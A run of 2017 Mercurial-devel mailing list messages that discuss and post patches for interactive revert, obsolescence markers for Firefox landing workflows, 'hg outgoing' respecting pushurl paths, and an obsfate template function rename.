Re: [PATCH] revert: do not reverse hunks in interactive when REV is not parent (issue5096)

[Augie Fackler]

Should we add a release notes directive like this:

.. feature::

  When interactive revert is run against a revision other than the working
  directory parent, the diff shown is the diff to *apply* to the working 
directory, 
  rather than the diff to *discard* from the working copy. This is in line with
  related user experiences with `git` and appears to be less confusing with
  `ui.interface=curses`.


The verb is significantly less prominent in the curses interface, which I don't 
use, so it might make sense do document this more heavily? I don't feel 
strongly about showing (revert, reverse diff) vs (apply, forward diff)[0], but 
it took several minutes discussion with Martin before I understood the intent 
of this patch again. What do you think? Should we add something to the help of 
`hg revert`?

Thanks,
Augie


0: My mental model has long been that the word "revert" means "what you see 
will go through patch -p1 --reverse", whereas apply means "what you see will go 
through patch -p1". I have no idea if that makes sense to anyone, but the 
prominence of the verb in the plain-text UI probably has been saving me from 
confusion a bit.

> On Nov 3, 2017, at 12:39, Martin von Zweigbergk via Mercurial-devel 
>  wrote:
> 
> Queued, thanks!
> 
> On Fri, Nov 3, 2017 at 9:34 AM, Denis Laxalde  > wrote:
> # HG changeset patch
> # User Denis Laxalde  >
> # Date 1509716857 -3600
> #  Fri Nov 03 14:47:37 2017 +0100
> # Node ID 095ef7f12cb36330d5e2b35b6c93fe27f6c1aacc
> # Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
> # Available At http://hg.logilab.org/users/dlaxalde/hg 
> 
> #  hg pull http://hg.logilab.org/users/dlaxalde/hg 
>  -r 095ef7f12cb3
> # EXP-Topic revert-interactive
> revert: do not reverse hunks in interactive when REV is not parent (issue5096)
> 
> And introduce a new "apply" operation verb for this case as suggested in
> issue5096. This replaces the no longer used "revert" operation.
> 
> In interactive revert, when reverting to something else that the parent
> revision, display an "apply this change" message with a diff that is not
> reversed.
> 
> The rationale is that `hg revert -i -r REV` will show hunks of the diff from
> the working directory to REV and prompt the user to select them for applying
> (to working directory). This contradicts dcc56e10c23b in which it was
> decided to have the "direction" of prompted hunks reversed. Later on
> [1], there was a broad consensus (but no decision) towards the "as to
> be applied direction". Now that --interactive is no longer experimental
> (5910db5d1913), it's time to switch and thus we drop no longer used
> "experimental.revertalternateinteractivemode" configuration option.
> 
> [1]: 
> https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-November/090142.html
>  
> 
> 
> diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
> --- a/mercurial/cmdutil.py
> +++ b/mercurial/cmdutil.py
> @@ -3790,9 +3790,8 @@ def _performrevert(repo, parents, ctx, a
>  operation = 'discard'
>  reversehunks = True
>  if node != parent:
> -operation = 'revert'
> -reversehunks = repo.ui.configbool('experimental',
> -'revertalternateinteractivemode')
> +operation = 'apply'
> +reversehunks = False
>  if reversehunks:
>  diff = patch.diff(repo, ctx.node(), None, m, opts=diffopts)
>  else:
> diff --git a/mercurial/configitems.py b/mercurial/configitems.py
> --- a/mercurial/configitems.py
> +++ b/mercurial/configitems.py
> @@ -439,9 +439,6 @@ coreconfigitem('experimental', 'obsmarke
>  coreconfigitem('experimental', 'rebase.multidest',
>  default=False,
>  )
> -coreconfigitem('experimental', 'revertalternateinteractivemode',
> -default=True,
> -)
>  coreconfigitem('experimental', 'revlogv2',
>  default=None,
>  )
> diff --git a/mercurial/patch.py b/mercurial/patch.py
> --- a/mercurial/patch.py
> +++ b/mercurial/patch.py
> @@ -997,16 +997,26 @@ class recordhunk(object):
>  def getmessages():
>  return {
>  'multiple': {
> +'apply': _("apply change %d/%d to '%s'?"),
>  'discard': _("discard change %d/%d to '%s'?"),
>  'record': _("record change %d/%d to '%s'?"),
> -'revert': _("revert change %d/%d to '%s'?"),
>  },
>  'single': {
> +'apply': _("apply this change to '%s'?"),
>  'discard': _("discard this change to '%s'?"),
>  'record': _("record this change to '%s'?"),
> -'revert': _("revert this change to '%s'?"),
>  },
>  'help': {
> +'apply': _('[Ynesfdaq?]'
> + 

Re: [PATCH RFC] revert: no longer mark --interactive as experimental

[Martin von Zweigbergk via Mercurial-devel]

On Fri, Nov 3, 2017 at 12:29 PM, Boris Feld  wrote:

> On Fri, 2017-11-03 at 14:57 +0100, Denis Laxalde wrote:
> > Martin von Zweigbergk a écrit :
> > > On Thu, Nov 2, 2017 at 7:16 AM, Denis Laxalde 
> > > wrote:
> > >
> > > > Augie Fackler a écrit :
> > > >
> > > > >
> > > > > On Nov 2, 2017, at 09:39, Martin von Zweigbergk via Mercurial-
> > > > > devel <
> > > > > > mercurial-devel@mercurial-scm.org> wrote:
> > > > > >
> > > > > > Can we still change the behavior of "hg revert -i -r" to show
> > > > > > a to-apply
> > > > > > diff, not a to-revert diff? (There's a bug number I'm too
> > > > > > lazy to look up
> > > > > > from mobile.)
> > > > > >
> > > > >
> > > > > I thought we had already done the patch-reversing that we felt
> > > > > was
> > > > > required...
> > > > >
> > > >
> > > > The last discussion ended with a status quo:
> > > >
> > > > https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-Nove
> > > > mber/090142.html
> > > >
> > > > Since then, I set
> > > > "experimental.revertalternateinteractivemode=false" to
> > > > have a behavior that I find meaningful in most situations.
> > >
> > >
> > > So do I. The problem is that new users won't have that. If we're
> > > graduating
> > > --interactive now, then this seems like a good time (at the latest)
> > > to
> > > switch the default of that flag.
> > >
> > >
> > > > The only case
> > > > it does not work well is "hg revert -i -r .^" (which I think was
> > > > a major
> > > > motivation for the current behavior).
>
> We think that `hg revert -i and `hg uncommit -i` are both useful and
> couldn't be replace by the other. They are different in 3 points:
>
> - hg uncommit works on the current directory parent while hg revert
> -i -r .^ could works on other changesets.
> - hg uncommit modify the current directory parent and keep the
> changes in the current working directory while hg revert is only
> modifying the current working directory
> - hg uncommit use-case is to remove something from a commit (like
> some parts that really should be in their own changeset) while hg
> revert use-case is try to revert a changeset in your history and see
> the impact (like are the tests passing now that I reverted these two
> lines).
>
> > >
> > >
> > > I prefer the forward direction even when reverting to a parent. We
> > > could
> > > add --no-forward-patch flag or something, or we could add a "hg
> > > grab" that
> > > grabs the file content from a revision and is equivalent to "hg
> > > revert"
> > > except that the patch is always forward. But last time I suggested
> > > that, no
> > > one seemed interested, so I'm not very optimistic. So probably just
> > > switch
> > > the default of revertalternateinteractivemode to false?
> >
> > I can resurrect the patch above linked above which drops the option
> > and
> > use the "apply" verb instead of "revert". Just let me know.
>
>
> We think that keeping both `hg revert -i` and `hg uncommit -i` in their
> current state is the way to go, as they works on a different target,
> they solves different use-cases and one is the not the subset of the
> another.
>
> Another dedicated command seems semantically better for this specific
> use-case, maybe grab is not the best name. It is used by the evolve
> extension for another purpose.
>
> If not a new command, a new command-line flag or something in the
> interface would be good enough to be discoverable by users.
>

As I said, I suggested "hg grab" a long time ago and no one seemed
interested. So I'd say consensus (i.e. that most people, not all, agree) is
the patch from Denis that I queued earlier today.


>
> If there are a command line flag. It make sense to have the associated
> boolean config in the [commands] section. Maybe revert.interactive-
> patch-direction.
>
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: Desired use case for obsmarkers / visibility

[Boris Feld]

On Thu, 2017-11-02 at 10:06 -0700, Gregory Szorc wrote:
> I have a potential use case for obsmarkers / visibility that I want
> to run by people to see if it can be supported.
> 
> Changesets are pushed to the Firefox repo via a landing service. This
> service essentially imports changesets [submitted by the author] and
> rebases them onto the repo head.
> 
> Today, when your changesets are landed, you need to perform "garbage
> collection" on your local repo to remove the old versions of
> changesets. We want landed changesets to disappear after `hg pull`
> picks up the rebased versions.
> 
> This is a pretty straightforward scenario and is supported by
> obsmarkers today. If we enabled the writing of obsolescence markers
> in the landing service, things would essentially "just work."
> 
> Here's where things get a little more complicated.
> 
> When changesets are landed to the Firefox repo today, they are first
> pushed to an "integration" repository. Logically, this can be modeled
> as a single repo divided into public and draft parts. e.g.
> 
> o D (draft) (head)
> o C (draft)
> o B (public)
> o A (public) (root)
> 
> When our CI says a changeset is "good," it is promoted to public.
> e.g.
> 
> o D (draft)
> o C (public) (formerly draft)
> o B (public)
> o A (public) (root)
> 
> Today, when we encounter a "bad" changeset, we perform a backout.
> e.g.
> 
> o D' (draft) (backout of D)
> o D (draft)
> o C (public)
> o B (public)
> o A (public) (root)
> 
> Given our push velocity, it is common to have intermediary changesets
> land before a changeset is identified as "bad." This means there are
> changesets between the initial landings and its backout. e.g.
> 
> o D' (draft) (backout of D)
> o E (draft)
> o D (draft)
> o C (public)
> o B (public)
> o A (public) (root)
> 
> The repo with the backouts is eventually published and the final
> history of the repo is littered with "bad" changesets and backouts.
> This causes all kinds of problems for bisection, annotate, file
> history, etc.
> 
> Instead of performing backouts and leaving the final repo history in
> a sub-optimal state, we want to instead "drop" "bad" changesets
> before they are published. e.g.
> 
> o E' (draft) (rebased from discarded D to C)
> | x D (draft) (discarded)
> o C (public)
> o B (public)
> o A (public) (root)
> 
> Since we can identify "bad" changesets relatively quickly, this would
> enable us to remove the vast majority of backouts and "bad"
> changesets from the final, published repo history.
> 
> Again, obsolescence as it exists today facilitates this. We can
> perform these drops via `hg histedit` (or similar) and the
> appropriate "prune" obsmarkers are written so the canonical repo has
> the appropriate final history.
> 
> However, the way it works today isn't friendly to end-user workflows.
> 
> If we were to deploy this, the following would happen:
> 
> 1) User creates changeset X and submits for landing.
> 2) Landing service rebases to X' and writes X->X' marker.
> 3) X' turns out to be bad and is dropped. X'->null marker is written
> to convey the prune.
> 4) User pulls and sees X->X'->null and hides X because its most
> recent successor is pruned.
> 5) User is left wondering what happened to X. They possibly forget
> they need to fix and reland X.
> 
> This is bad UX. What we want to happen instead is:
> 
> a) User pulls after X' drop and X is still visible.
> b) Something else happens and some form of X remains
> visible/accessible to user
> 
> The server can't expose X' because everyone would see it. We have 1
> head per repo and don't want to be exposing random "bad" changesets
> to everyone. This seems to rule out the traditional evolve solution
> of "touch" a changeset to revive a prune because I'm not sure how
> we'd send X' to only the user that cares about it. There's also no
> way in obsolescence today to unhide X once it has been obsoleted.
> 
> In the obsmarker world of today, the best solution I can think of is
> "delete obsmarkers on the server." If we discarded the X->X' marker
> (or didn't write it until X' became public), the end-user's original
> changeset X wouldn't be hidden on pull because there is no marker on
> the server referencing X. But this approach feels hacky and is extra
> server-side complexity, which I'd prefer to avoid.

First, `hg strip` get ride of X' and the obsmarkers for you, but that
is a more hacky and traumatic for the repository that you will want 
(especially the caches).

Fortunately there are a couple of other low tech solutions available 
with today implementation:


For your usecase. If people are barely pulling from the integration 
repository, the simplest might be to turn the dropped changeset secret 
(instead of pruning it). That way, they are no longer exchanged (nor
is the associated obsolescence markers between X and X').

This is a simple approach available today. However, that won't help 
people who already pulled from -integration.


To have X' disappear from 

Re: [PATCH RFC] revert: no longer mark --interactive as experimental

[Boris Feld]

On Fri, 2017-11-03 at 14:57 +0100, Denis Laxalde wrote:
> Martin von Zweigbergk a écrit :
> > On Thu, Nov 2, 2017 at 7:16 AM, Denis Laxalde 
> > wrote:
> > 
> > > Augie Fackler a écrit :
> > > 
> > > > 
> > > > On Nov 2, 2017, at 09:39, Martin von Zweigbergk via Mercurial-
> > > > devel <
> > > > > mercurial-devel@mercurial-scm.org> wrote:
> > > > > 
> > > > > Can we still change the behavior of "hg revert -i -r" to show
> > > > > a to-apply
> > > > > diff, not a to-revert diff? (There's a bug number I'm too
> > > > > lazy to look up
> > > > > from mobile.)
> > > > > 
> > > > 
> > > > I thought we had already done the patch-reversing that we felt
> > > > was
> > > > required...
> > > > 
> > > 
> > > The last discussion ended with a status quo:
> > > 
> > > https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-Nove
> > > mber/090142.html
> > > 
> > > Since then, I set
> > > "experimental.revertalternateinteractivemode=false" to
> > > have a behavior that I find meaningful in most situations.
> > 
> > 
> > So do I. The problem is that new users won't have that. If we're
> > graduating
> > --interactive now, then this seems like a good time (at the latest)
> > to
> > switch the default of that flag.
> > 
> > 
> > > The only case
> > > it does not work well is "hg revert -i -r .^" (which I think was
> > > a major
> > > motivation for the current behavior).

We think that `hg revert -i and `hg uncommit -i` are both useful and
couldn't be replace by the other. They are different in 3 points:

- hg uncommit works on the current directory parent while hg revert
-i -r .^ could works on other changesets.
- hg uncommit modify the current directory parent and keep the
changes in the current working directory while hg revert is only
modifying the current working directory
- hg uncommit use-case is to remove something from a commit (like
some parts that really should be in their own changeset) while hg
revert use-case is try to revert a changeset in your history and see
the impact (like are the tests passing now that I reverted these two
lines).

> > 
> > 
> > I prefer the forward direction even when reverting to a parent. We
> > could
> > add --no-forward-patch flag or something, or we could add a "hg
> > grab" that
> > grabs the file content from a revision and is equivalent to "hg
> > revert"
> > except that the patch is always forward. But last time I suggested
> > that, no
> > one seemed interested, so I'm not very optimistic. So probably just
> > switch
> > the default of revertalternateinteractivemode to false?
> 
> I can resurrect the patch above linked above which drops the option
> and
> use the "apply" verb instead of "revert". Just let me know.


We think that keeping both `hg revert -i` and `hg uncommit -i` in their
current state is the way to go, as they works on a different target,
they solves different use-cases and one is the not the subset of the
another.

Another dedicated command seems semantically better for this specific
use-case, maybe grab is not the best name. It is used by the evolve
extension for another purpose.

If not a new command, a new command-line flag or something in the
interface would be good enough to be discoverable by users.

If there are a command line flag. It make sense to have the associated
boolean config in the [commands] section. Maybe revert.interactive-
patch-direction.
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH 1 of 1] outgoing: respect ":pushurl" paths

[Augie Fackler]

> On Nov 3, 2017, at 15:01, Hollis Blanchard  
> wrote:
> 
> On 11/03/2017 11:25 AM, Hollis Blanchard wrote:
>> # HG changeset patch
>> # User Hollis Blanchard  
>> 
>> # Date 1509731952 25200
>> #  Fri Nov 03 10:59:12 2017 -0700
>> # Branch stable
>> # Node ID 666d3aaffadc4e92acfe3e4098ae8f2fa4086b7d
>> # Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
>> outgoing: respect ":pushurl" paths
>> 
>> Make 'hg outgoing' respect "paths.default:pushurl" in addition to
>> "paths.default-push".
> Here's some context I didn't think belonged in the commit message:
> 
> 'hg outgoing' has always meant "what will happen if I run 'hg push'?" and it's
> still documented that way:
> 
> Show changesets not found in the specified destination repository or the
> default push location. These are the changesets that would be pushed if a
> push was requested.
> 
> If the user uses the now-deprecated "paths.default-push" path, it continues to
> work that way. However, as described at
> https://bz.mercurial-scm.org/show_bug.cgi?id=5365 
> , it doesn't behave the 
> same
> with "paths.default:pushurl".

Yep, clear bug.

This context is totally fine in a commit message. As I mentioned on IRC, maybe 
fold the test into test-outgoing.t? I can find time for it (next week probably, 
given how today has gone) if you don't have time, but if you're willing to do a 
v2 with that, could you also put (issue5365) at the end of the first line of 
the commit message so our bug bot notices?

Thanks!

> 
> Why does it matter? Similar to the bugzilla reporter, I have a read-only 
> mirror
> of a non-Mercurial repository:
> 
> upstream -> imported mirror -> user clone
>^---/
> 
> Users push directly to upstream, and that content is then imported into the
> mirror. However, those repositories are not the same; it's possible that the
> mirroring has either broken completely, or an import process is running and 
> not
> yet complete. In those cases, 'hg outgoing' will list changesets that have
> already been pushed.
> 
> Mozilla's desired behavior described in bug 5365 can be accomplished through
> other means (e.g. 'hg outgoing default'), preserving the consistency and
> meaning of 'hg outgoing'.
> 
> Hollis Blanchard  
> 
> Mentor Graphics Emulation Division
> ___
> Mercurial-devel mailing list
> Mercurial-devel@mercurial-scm.org
> https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH 1 of 1] outgoing: respect ":pushurl" paths

[Hollis Blanchard]

On 11/03/2017 11:25 AM, Hollis Blanchard wrote:

# HG changeset patch
# User Hollis Blanchard 
# Date 1509731952 25200
#  Fri Nov 03 10:59:12 2017 -0700
# Branch stable
# Node ID 666d3aaffadc4e92acfe3e4098ae8f2fa4086b7d
# Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
outgoing: respect ":pushurl" paths

Make 'hg outgoing' respect "paths.default:pushurl" in addition to
"paths.default-push".

Here's some context I didn't think belonged in the commit message:

'hg outgoing' has always meant "what will happen if I run 'hg push'?" 
and it's

still documented that way:

    Show changesets not found in the specified destination repository 
or the
    default push location. These are the changesets that would be 
pushed if a

    push was requested.

If the user uses the now-deprecated "paths.default-push" path, it 
continues to

work that way. However, as described at
https://bz.mercurial-scm.org/show_bug.cgi?id=5365, it doesn't behave the 
same

with "paths.default:pushurl".

Why does it matter? Similar to the bugzilla reporter, I have a read-only 
mirror

of a non-Mercurial repository:

upstream -> imported mirror -> user clone
   ^---/


Users push directly to upstream, and that content is then imported into the
mirror. However, those repositories are not the same; it's possible that the
mirroring has either broken completely, or an import process is running 
and not

yet complete. In those cases, 'hg outgoing' will list changesets that have
already been pushed.

Mozilla's desired behavior described in bug 5365 can be accomplished through
other means (e.g. 'hg outgoing default'), preserving the consistency and
meaning of 'hg outgoing'.

Hollis Blanchard 
Mentor Graphics Emulation Division

___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH] obsfate: makes successorsetverb takes the markers as argument

[Boris Feld]

No there is not, I just forget I pushed it on phabricator in a first
time. Please ignore this series, I've updated https://phab.mercurial-sc
m.org/D1191 instead.

On Fri, 2017-11-03 at 02:03 +0530, Pulkit Goyal wrote:
> Is there any difference between this one and the one you send before
> the freeze on Phabricator?
> 
> On Thu, Nov 2, 2017 at 6:28 PM, Boris Feld 
> wrote:
> > # HG changeset patch
> > # User Boris Feld 
> > # Date 1508409347 -7200
> > #  Thu Oct 19 12:35:47 2017 +0200
> > # Node ID b5b9f31a676701ca272c10fc2630e4587413e4e7
> > # Parent  3ce0e4b51f789eff195ec900a07c1fa5e8d5c5f2
> > # EXP-Topic fix-obsfate
> > # Available At https://bitbucket.org/octobus/mercurial-devel/
> > #  hg pull https://bitbucket.org/octobus/mercurial-deve
> > l/ -r b5b9f31a6767
> > obsfate: makes successorsetverb takes the markers as argument
> > 
> > Right now, successorsetverb only needs successors to compute the
> > verb. But we
> > will want use additional information (effect-flags and operation)
> > in the near
> > future to compute a better verb.
> > 
> > Add the markers parameter now so extensions (like Evolve) could
> > wrap the
> > function and start experimenting around better obsfate verbs.
> > 
> > As successorsetverb now takes both successorset and markers
> > parameters, rename
> > it to obsfateverb, successorsetandmarkersverb was too long.
> > 
> > Differential Revision: https://phab.mercurial-scm.org/D1191
> > 
> > diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
> > --- a/mercurial/obsutil.py
> > +++ b/mercurial/obsutil.py
> > @@ -751,8 +751,9 @@ def successorsandmarkers(repo, ctx):
> > 
> >  return values
> > 
> > -def successorsetverb(successorset):
> > -""" Return the verb summarizing the successorset
> > +def obsfateverb(successorset, markers):
> > +""" Return the verb summarizing the successorset and
> > potentially using
> > +information from the markers
> >  """
> >  if not successorset:
> >  verb = 'pruned'
> > @@ -795,7 +796,7 @@ def obsfateprinter(successors, markers,
> >  line = []
> > 
> >  # Verb
> > -line.append(successorsetverb(successors))
> > +line.append(obsfateverb(successors, markers))
> > 
> >  # Operations
> >  operations = markersoperations(markers)
> > diff --git a/mercurial/templater.py b/mercurial/templater.py
> > --- a/mercurial/templater.py
> > +++ b/mercurial/templater.py
> > @@ -1005,17 +1005,18 @@ def obsfateusers(context, mapping, args)
> >  "obsmakers")
> >  raise error.ParseError(msg)
> > 
> > -@templatefunc('obsfateverb(successors)')
> > +@templatefunc('obsfateverb(successors, markers)')
> >  def obsfateverb(context, mapping, args):
> >  """Compute obsfate related information based on successors
> > (EXPERIMENTAL)"""
> > -if len(args) != 1:
> > +if len(args) != 2:
> >  # i18n: "obsfateverb" is a keyword
> > -raise error.ParseError(_("obsfateverb expects one
> > arguments"))
> > +raise error.ParseError(_("obsfateverb expects two
> > arguments"))
> > 
> >  successors = evalfuncarg(context, mapping, args[0])
> > +markers = evalfuncarg(context, mapping, args[1])
> > 
> >  try:
> > -return obsutil.successorsetverb(successors)
> > +return obsutil.obsfateverb(successors, markers)
> >  except TypeError:
> >  # i18n: "obsfateverb" is a keyword
> >  errmsg = _("obsfateverb first argument should be
> > countable")
> > diff --git a/tests/test-obsmarker-template.t b/tests/test-
> > obsmarker-template.t
> > --- a/tests/test-obsmarker-template.t
> > +++ b/tests/test-obsmarker-template.t
> > @@ -13,7 +13,7 @@ Global setup
> >    > evolution=true
> >    > [templates]
> >    > obsfatesuccessors = "{if(successors, " as ")}{join(successors,
> > ", ")}"
> > -  > obsfateverb = "{obsfateverb(successors)}"
> > +  > obsfateverb = "{obsfateverb(successors, markers)}"
> >    > obsfateoperations = "{if(obsfateoperations(markers), " using
> > {join(obsfateoperations(markers), ", ")}")}"
> >    > obsfateusers = "{if(obsfateusers(markers), " by
> > {join(obsfateusers(markers), ", ")}")}"
> >    > obsfatedate = "{if(obsfatedate(markers),
> > "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at
> > {min(obsfatedate(markers))|isodate})", " (between
> > {min(obsfatedate(markers))|isodate} and
> > {max(obsfatedate(markers))|isodate})")}")}"
> > ___
> > Mercurial-devel mailing list
> > Mercurial-devel@mercurial-scm.org
> > https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel
> 
> ___
> Mercurial-devel mailing list
> Mercurial-devel@mercurial-scm.org
> https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org

[PATCH 1 of 1] outgoing: respect ":pushurl" paths

[Hollis Blanchard]

# HG changeset patch
# User Hollis Blanchard 
# Date 1509731952 25200
#  Fri Nov 03 10:59:12 2017 -0700
# Branch stable
# Node ID 666d3aaffadc4e92acfe3e4098ae8f2fa4086b7d
# Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
outgoing: respect ":pushurl" paths

Make 'hg outgoing' respect "paths.default:pushurl" in addition to
"paths.default-push".

diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -910,7 +910,11 @@ def incoming(ui, repo, source, opts):
 return _incoming(display, subreporecurse, ui, repo, source, opts)
 
 def _outgoing(ui, repo, dest, opts):
-dest = ui.expandpath(dest or 'default-push', dest or 'default')
+path = ui.paths.getpath(dest, default=('default-push', 'default'))
+if not path:
+raise error.Abort(_('default repository not configured!'),
+hint=_("see 'hg help config.paths'"))
+dest = path.pushloc or path.loc
 dest, branches = parseurl(dest, opts.get('branch'))
 ui.status(_('comparing with %s\n') % util.hidepassword(dest))
 revs, checkout = addbranchrevs(repo, repo, branches, opts.get('rev'))
diff --git a/tests/test-paths-pushurl.t b/tests/test-paths-pushurl.t
new file mode 100644
--- /dev/null
+++ b/tests/test-paths-pushurl.t
@@ -0,0 +1,113 @@
+
+  $ hg init pullfrom.hg
+  $ echo 1 > pullfrom.hg/foo.txt
+  $ hg --cwd pullfrom.hg commit -A -m "r1"
+  adding foo.txt
+
+  $ hg clone pullfrom.hg pushto.hg
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Create user.hg: pulls from pullto.hg, pushes to pushto.hg
+
+  $ hg clone pullfrom.hg user.hg
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+commit to pullfrom.hg
+
+  $ echo 2 > pullfrom.hg/foo.txt
+  $ hg --cwd pullfrom.hg commit -m "r2"
+
+pull it into user.hg
+
+  $ hg --cwd user.hg incoming
+  comparing with $TESTTMP/pullfrom.hg
+  searching for changes
+  changeset:   1:75cc8a476e40
+  tag: tip
+  user:test
+  date:Thu Jan 01 00:00:00 1970 +
+  summary: r2
+  
+  $ hg --cwd user.hg pull -u
+  pulling from $TESTTMP/pullfrom.hg
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files
+  new changesets 75cc8a476e40
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+commit to user
+
+  $ echo 3 > user.hg/foo.txt
+  $ hg --cwd user.hg commit -m "r3"
+
+Make sure outgoing with default-push still works
+
+  $ ed -s user.hg/.hg/hgrc << EOF
+  > /^default
+  > a
+  > default-push = file://$TESTTMP/pushto.hg
+  > .
+  > w
+  > q
+  > EOF
+  default = $TESTTMP/pullfrom.hg
+  $ hg --cwd user.hg paths
+  default = $TESTTMP/pullfrom.hg
+  default-push = file://$TESTTMP/pushto.hg
+  $ hg --cwd user.hg outgoing
+  comparing with file://$TESTTMP/pushto.hg
+  searching for changes
+  changeset:   1:75cc8a476e40
+  user:test
+  date:Thu Jan 01 00:00:00 1970 +
+  summary: r2
+  
+  changeset:   2:0225157b9457
+  tag: tip
+  user:test
+  date:Thu Jan 01 00:00:00 1970 +
+  summary: r3
+  
+
+Outgoing with default:pushurl syntax
+
+  $ ed -s user.hg/.hg/hgrc < /^default-push
+  > c
+  > default:pushurl = file://$PWD/pushto.hg
+  > .
+  > w
+  > EOF
+  default-push = file://$TESTTMP/pushto.hg
+  $ hg --cwd user.hg paths
+  default = $TESTTMP/pullfrom.hg
+  default:pushurl = file://$TESTTMP/pushto.hg
+  $ hg --cwd user.hg outgoing
+  comparing with file://$TESTTMP/pushto.hg
+  searching for changes
+  changeset:   1:75cc8a476e40
+  user:test
+  date:Thu Jan 01 00:00:00 1970 +
+  summary: r2
+  
+  changeset:   2:0225157b9457
+  tag: tip
+  user:test
+  date:Thu Jan 01 00:00:00 1970 +
+  summary: r3
+  
+
+Push with default:pushurl
+
+  $ hg --cwd user.hg push
+  pushing to file://$TESTTMP/pushto.hg
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 1 files
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

mercurial@34967: new changeset

[Mercurial Commits]

New changeset in mercurial:

https://www.mercurial-scm.org/repo/hg/rev/19ecd39223dc
changeset:   34967:19ecd39223dc
bookmark:@
tag: tip
parent:  34966:d8c2db6167b3
parent:  34965:f445b10dc7fb
user:Kevin Bullock 
date:Fri Nov 03 10:32:38 2017 -0500
summary: merge with stable

-- 
Repository URL: https://www.mercurial-scm.org/repo/hg
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH] revert: do not reverse hunks in interactive when REV is not parent (issue5096)

[Martin von Zweigbergk via Mercurial-devel]

Queued, thanks!

On Fri, Nov 3, 2017 at 9:34 AM, Denis Laxalde  wrote:

> # HG changeset patch
> # User Denis Laxalde 
> # Date 1509716857 -3600
> #  Fri Nov 03 14:47:37 2017 +0100
> # Node ID 095ef7f12cb36330d5e2b35b6c93fe27f6c1aacc
> # Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
> # Available At http://hg.logilab.org/users/dlaxalde/hg
> #  hg pull http://hg.logilab.org/users/dlaxalde/hg -r
> 095ef7f12cb3
> # EXP-Topic revert-interactive
> revert: do not reverse hunks in interactive when REV is not parent
> (issue5096)
>
> And introduce a new "apply" operation verb for this case as suggested in
> issue5096. This replaces the no longer used "revert" operation.
>
> In interactive revert, when reverting to something else that the parent
> revision, display an "apply this change" message with a diff that is not
> reversed.
>
> The rationale is that `hg revert -i -r REV` will show hunks of the diff
> from
> the working directory to REV and prompt the user to select them for
> applying
> (to working directory). This contradicts dcc56e10c23b in which it was
> decided to have the "direction" of prompted hunks reversed. Later on
> [1], there was a broad consensus (but no decision) towards the "as to
> be applied direction". Now that --interactive is no longer experimental
> (5910db5d1913), it's time to switch and thus we drop no longer used
> "experimental.revertalternateinteractivemode" configuration option.
>
> [1]: https://www.mercurial-scm.org/pipermail/mercurial-devel/
> 2016-November/090142.html
>
> diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
> --- a/mercurial/cmdutil.py
> +++ b/mercurial/cmdutil.py
> @@ -3790,9 +3790,8 @@ def _performrevert(repo, parents, ctx, a
>  operation = 'discard'
>  reversehunks = True
>  if node != parent:
> -operation = 'revert'
> -reversehunks = repo.ui.configbool('experimental',
> -'revertalternateinteractivemode')
> +operation = 'apply'
> +reversehunks = False
>  if reversehunks:
>  diff = patch.diff(repo, ctx.node(), None, m, opts=diffopts)
>  else:
> diff --git a/mercurial/configitems.py b/mercurial/configitems.py
> --- a/mercurial/configitems.py
> +++ b/mercurial/configitems.py
> @@ -439,9 +439,6 @@ coreconfigitem('experimental', 'obsmarke
>  coreconfigitem('experimental', 'rebase.multidest',
>  default=False,
>  )
> -coreconfigitem('experimental', 'revertalternateinteractivemode',
> -default=True,
> -)
>  coreconfigitem('experimental', 'revlogv2',
>  default=None,
>  )
> diff --git a/mercurial/patch.py b/mercurial/patch.py
> --- a/mercurial/patch.py
> +++ b/mercurial/patch.py
> @@ -997,16 +997,26 @@ class recordhunk(object):
>  def getmessages():
>  return {
>  'multiple': {
> +'apply': _("apply change %d/%d to '%s'?"),
>  'discard': _("discard change %d/%d to '%s'?"),
>  'record': _("record change %d/%d to '%s'?"),
> -'revert': _("revert change %d/%d to '%s'?"),
>  },
>  'single': {
> +'apply': _("apply this change to '%s'?"),
>  'discard': _("discard this change to '%s'?"),
>  'record': _("record this change to '%s'?"),
> -'revert': _("revert this change to '%s'?"),
>  },
>  'help': {
> +'apply': _('[Ynesfdaq?]'
> + '$$ , apply this change'
> + '$$ , skip this change'
> + '$$  this change manually'
> + '$$  remaining changes to this file'
> + '$$ Apply remaining changes to this '
> + '$$ , skip remaining changes and files'
> + '$$ Apply  changes to all remaining files'
> + '$$ , applying no changes'
> + '$$ &? (display help)'),
>  'discard': _('[Ynesfdaq?]'
